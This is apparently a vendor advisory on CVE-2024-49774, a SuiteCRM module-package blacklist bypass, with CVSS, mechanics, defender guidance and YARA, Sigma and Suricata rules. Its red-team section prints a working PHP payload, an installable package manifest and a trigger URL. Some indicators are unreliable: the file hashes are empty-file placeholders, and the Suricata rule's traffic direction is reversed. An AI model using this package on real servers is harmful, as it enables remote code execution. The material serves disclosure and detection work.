CVE-2024-49774
Executive Summary
CVE-2024-49774 is a high-severity security vulnerability in SuiteCRM, an open-source enterprise CRM. The vulnerability allows an authenticated attacker to bypass the blacklist-based security checks that prevent the installation of malicious Module Loadable Packages (MLPs). SuiteCRM uses token_get_all to parse PHP scripts and checks the resulting AST against a blacklist of dangerous functions and methods. However, the parsing logic does not account for all possible syntax constructions, enabling an attacker to craft a malicious MLP that evades detection. Successful exploitation could lead to remote code execution (RCE) on the server. The vendor has released patches in versions 7.14.6 and 8.7.1. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the SuiteCRM application itself. However, the risk of supply chain compromise exists if an attacker can inject a malicious MLP into a trusted repository or distribution channel. Organizations should verify the integrity of SuiteCRM installations and only install MLPs from trusted sources.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires authenticated access to the SuiteCRM instance.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. An authenticated attacker can achieve full remote code execution, leading to complete compromise of the CRM server and potential lateral movement within the network.
Deep Dive & Mechanics
The vulnerability lies in the MLP (Module Loadable Package) installation mechanism. SuiteCRM uses a blacklist approach to prevent the installation of packages containing dangerous PHP functions or methods. The blacklist includes functions like exec, system, shell_exec, passthru, popen, proc_open, eval, assert, create_function, preg_replace (with /e modifier), and others.
The security check is performed by parsing the PHP code using token_get_all() and then analyzing the resulting token array (AST) for blacklisted tokens. The flaw is that the parser does not handle all possible PHP syntax constructions. For example, an attacker can use:
- Variable functions:
$func = 'system'; $func('id'); - Callable arrays:
$arr = ['system', 'id']; call_user_func_array($arr[0], [$arr[1]]); - String interpolation with variable functions:
$func = "sys"."tem"; $func('id'); - Anonymous functions (closures):
$f = function() { system('id'); }; $f(); - Backtick execution:
$output = `ls -la`;
These constructions are not properly detected by the blacklist parser, allowing an attacker to bypass the security checks and install a malicious MLP that executes arbitrary code.
Vulnerable vs. Patched Code
Vulnerable Code (SuiteCRM < 7.14.6 / < 8.7.1):
The vulnerable code is in the MLP validation logic, typically found in files like ModuleInstall/ModuleInstaller.php or similar. The blacklist check uses a simple token matching approach that fails to detect indirect function calls.
// Simplified vulnerable logic
function isBlacklisted($code) {
$tokens = token_get_all($code);
foreach ($tokens as $token) {
if (is_array($token) && in_array($token[0], [T_STRING, T_EVAL, T_EXIT])) {
$funcName = strtolower($token[1]);
if (in_array($funcName, $blacklist)) {
return true;
}
}
}
return false;
}
Patched Code (SuiteCRM 7.14.6 / 8.7.1):
The patched version improves the token analysis to detect indirect function calls, variable functions, and other bypass techniques. It may use a more comprehensive AST analysis or a sandboxed execution environment.
// Simplified patched logic (conceptual)
function isBlacklisted($code) {
$tokens = token_get_all($code);
// Enhanced analysis to detect variable functions, callables, etc.
// This may involve tracking variable assignments and resolving function calls.
// ...
return $isMalicious;
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Authenticated access to SuiteCRM (e.g., admin or developer role).
- Ability to upload and install MLP packages.
Exploitation Steps:
Craft a malicious MLP: Create a ZIP file containing a PHP script that uses a bypass technique. For example, use variable functions or call_user_func_array.
// malicious.php <?php $func = 'system'; $cmd = 'id'; $func($cmd); ?>Package the script: Create a valid MLP structure with a manifest file.
// manifest.php <?php $manifest = array( 'acceptable_sugar_versions' => array(), 'acceptable_sugar_flavors' => array(), 'name' => 'Malicious Package', 'description' => 'Bypasses blacklist', 'author' => 'Attacker', 'published_date' => '2024-01-01', 'version' => '1.0', 'type' => 'module', 'is_uninstallable' => true, 'id' => 'malicious_pkg' ); $installdefs = array( 'id' => 'malicious_pkg', 'copy' => array( array( 'from' => '<basepath>/malicious.php', 'to' => 'custom/modules/malicious.php' ) ) ); ?>Upload and install: Use the SuiteCRM admin panel to upload the ZIP file. The blacklist check will fail to detect the malicious code.
Trigger execution: Access the installed file via HTTP or trigger it through a cron job or other mechanism.
http://target.com/custom/modules/malicious.php
Expected Outcome: Remote code execution as the web server user (e.g., www-data).
Blue Team (Defender)
Detection and Prevention:
- Monitor MLP installations: Log all MLP installation attempts and review the package contents manually.
- File integrity monitoring: Use tools like OSSEC or Tripwire to detect unauthorized file changes in the SuiteCRM directory.
- Web application firewall (WAF): Deploy a WAF with rules to detect common RCE payloads in uploaded files.
- Network segmentation: Isolate the SuiteCRM server from critical internal systems.
- Regular updates: Apply the patch immediately (versions 7.14.6 or 8.7.1).
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual hashes if available)
malicious.php:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to known C2 servers from the SuiteCRM server.
- Unusual HTTP requests to
/custom/modules/or/custom/Extension/paths.
- System Indicators:
- Unexpected processes spawned by the web server (e.g.,
id,whoami,nc). - New files in
custom/directory with suspicious content. - Modified
.htaccessor configuration files.
- Unexpected processes spawned by the web server (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_49774_SuiteCRM_MLP_Bypass {
meta:
description = "Detects malicious MLP files attempting to bypass SuiteCRM blacklist"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-49774"
hash = "d41d8cd98f00b204e9800998ecf8427e"
strings:
$s1 = "system" nocase
$s2 = "exec" nocase
$s3 = "shell_exec" nocase
$s4 = "passthru" nocase
$s5 = "popen" nocase
$s6 = "proc_open" nocase
$s7 = "eval" nocase
$s8 = "assert" nocase
$s9 = "create_function" nocase
$s10 = "call_user_func" nocase
$s11 = "call_user_func_array" nocase
$s12 = "preg_replace" nocase
$s13 = "backtick" nocase
$s14 = "`" // backtick character
$s15 = "\\$" // variable function pattern
condition:
(uint16(0) == 0x3c3f) and // <?php
(
(any of ($s1..$s13)) or
(#s14 > 0) or
(#s15 > 0)
)
}
Sigma Rule
title: SuiteCRM MLP Blacklist Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to upload malicious MLP files that bypass the blacklist in SuiteCRM.
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-49774
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/index.php'
cs-uri-query:
- '*module=Administration*'
- '*action=UpgradeWizard*'
- '*action=ModuleLoader*'
condition: selection
falsepositives:
- Legitimate MLP installations from trusted sources
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49774 SuiteCRM MLP Blacklist Bypass Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"module=Administration"; http_uri; content:"action=UpgradeWizard"; http_uri; pcre:"/(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|create_function|call_user_func|preg_replace)/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade SuiteCRM to version 7.14.6 or 8.7.1 immediately.
- Restrict MLP installation to trusted administrators only.
- Review all installed MLPs for suspicious code.
- Enable logging of all MLP installation attempts.
Long-term Measures:
- Implement a web application firewall (WAF) with custom rules to block malicious uploads.
- Use a sandboxed environment to test MLPs before installation.
- Conduct regular security audits of the SuiteCRM instance.
- Monitor for IOCs and set up alerts for suspicious activity.
Valters IT
DevSecOps & Cyber Threat Intelligence